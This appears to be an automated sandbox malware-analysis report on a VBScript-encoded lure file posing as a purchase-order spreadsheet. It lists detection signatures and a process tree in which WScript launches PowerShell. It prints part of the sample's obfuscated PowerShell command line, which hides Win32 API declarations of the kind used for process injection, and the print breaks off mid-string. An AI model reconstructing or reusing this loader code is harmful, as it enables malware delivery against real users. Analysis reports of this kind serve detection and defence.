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Windows
Analysis Report
PO-08784 xlsx.vbe
Overview
General Information
Detection
Score: | 72 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Sigma detected: Dot net compiler compiles file from suspicious location
Obfuscated command line found
Wscript starts Powershell (via cmd or directly)
Machine Learning detection for dropped file
Very long command line found
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Drops PE files
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Compiles C# or VB.Net code
Found dropped PE file which has not been started or loaded
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges
Classification
- System is w10x64
- wscript.exe (PID: 6000 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\PO-08 784 xlsx.v be" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C) - cmd.exe (PID: 5984 cmdline:
CMD.EXE /c echo C:\W indows MD5: 4E2ACF4F8A396486AB4268C94A6A245F) - conhost.exe (PID: 5964 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496) - powershell.exe (PID: 5064 cmdline:
C:\Windows \syswow64\ WindowsPow erShell\v1 .0\powersh ell.exe" " $Thyridia = """ovAfa dAndDa-diT SiyFipOteC o Ro-FlTMu yZopPreAbD ineVefpriD enabiSetFo iLroElnMy Fe'BouJasS uiinnSogud HoSMiyFes DetNoeIdmS a;VauMosPh iStnBegAu ViSPuyNesB rtTuevrmTa .HaRReuBen SctMaiEvmS teRk.InIin nWhtHoeOer AfoShpSoSE jeDerCavCh iLicPieBrs Di;TrpRaud ibfolLaiAl cvo BosPat AlaSktGoiG acGu LicDe lSwaStsUns Re PrMOpeS ptSkhdeyMi lNo1En di{ Ci[DeDAnlO plglIIrmCo pOpocurbut Af(Ef`"""U nkToeLorSe nSrePelLi3 Ko2ha`"""F r)ji]VopAt uDrbunlRei MicNo KosD rtScaTitKr iIrcPo Che SaxUntSleL yrtynGr Sr iEjnBetHu PeGLieTetD eTKahFirHv eUnaBrdtrT InispmJeeI tsCo(riiUg nJutCr BeP InrSkoStgU nrFi8Op2We ,RaiSwnSyt An MeFFirS kePsmSuaKh dOv,PriAfn Hytre drTL ieUnlCoeNo ,ReiTvnMit Fo WiTAbrF ueSydCyiAf ,raisbnCot Ur OpTmyiS tmTr)Sp;Ti [BoDKrlFil MeIRomUnpK eoAfrCitSu (Ha`"""Geu unsSeeNarW i3Su2Sc`"" "Us)Ci]Nyp CeuTobPelA diEfcUd Sq sCotGaaRet NaiDrcRo S mebyxDotJa eGtrTrnPe BliChnAdtJ a PoCInlAc iTyePanBrt UlTTroFoSR ecTirVaeMd eLenBr(Nei StnGltOv S iIUdnWrkLi oSprBapre, coicenCotM e ZetCoeFr kplnFaore) Al;Un[MuDU nlcalHeINu mfrpTyoPir BrtKi(Fo`" ""WakWoeTw rFanFreUnl Pr3Ru2Su`" ""St)Fr]Ud pdeuAlbCal TriCrcRe C osRutGraAl tVeiTacTi VaeSlxUstb oeNerGenPa DiiSunOkt Ca InEOvxh apSaaUhnPl dUnEBrnSav PaistrProT rnDrmSteHy nFetflSWot unrSviDanA bgWesFi(Er iBlnretSt ReREcoCytS otDeePo,Te iChnRetSu FoBUfugalM a,BiiMonBi tDe InEBrn OetafoCo)R e;Ra[PlDLa lAvlFuIAfm SkpBeoAnrS utKo(te`"" "BeuElsJie Elrst3Mu2F y`"""Di)To ]PopVauanb BrlMaiPucO s OvsRetPe aPrtPeiUfc So toeFoxO vtMaeNorTe nSl PriFrn Qutbl AmEE gnPuuBamau CPihPoiDil NedBeWIsiE fnFldFroki wbesSo(Mii HonTatFu h oLMiiOvtRa hFoeIndRo, aniGenCata l HyDReiFo oSubMooSl, MeiOlnTutC h PoATalUv uVanUngAl) Va;Tr[emDS elKrlGoIJa mPrpCooCrr Retst(Yo`" ""MawbeiVi nLamComBi. NldSelFllH e`"""De)No ]IlpOpuChb TelOmiBucF o frsRetCo aChtUdiJuc Sa UnePnxR etMaekvrLg nEl veiMen IntBr InjA uoOpyHuSAc eSetDiCDia GepSutBeuA vrOueCe(Id iWenfotEx AfKPeoAndU niPofNo,Se iSpnRetBe UnVFaeLijB e,FriEsnWi tOp abEDim ChpUntMoiS p,CeiUnnLa tFl BiRUre UdaVicCytd uiNe)Po;No [NoDTnlHyl OuIOpmAkpd eoBerAptIr (Un`"""Opk HmeNirdrnA meMolGr3Sf 2El`"""Kr) Li]ScpViuG rbBrlRiiIt cPr ResFrt GsaIrtApiP acPo UneUh xKrtSyeMar RanIr skvA foByiOpdDe ImGjulReo FabDiaNalS pMMaeLimMy oVarBryhjS EttSuaTutA nufrsUb(sn iFrnretRa SuAWrnJelE pgSksEmiUd )Ou;Cy[FiD DrlSplClIb amanpAtoCo rBotNo(Si` """OvkAneM irUnnGaeCo lPr3Co2Na` """Gr)Pr]m opTouHabdr lPhiSkcNa sksmatStaS etDiiAicva HaeLyxFot UneEnrbrnC o SaiJunPs tAk UnISns ObVPuaColS piPldAgCMo oTodSteSuP SuaMagsueS a(EjiAfnHy tBi CaGGaa KauudmCa)F r;Fa[CoDPh lHylUnIDim TypOvorurM itFo(Mi`"" "UnkSeeLir BenRieJulC h3Sl2An`"" "Sa)Si]Amp whuElbSelL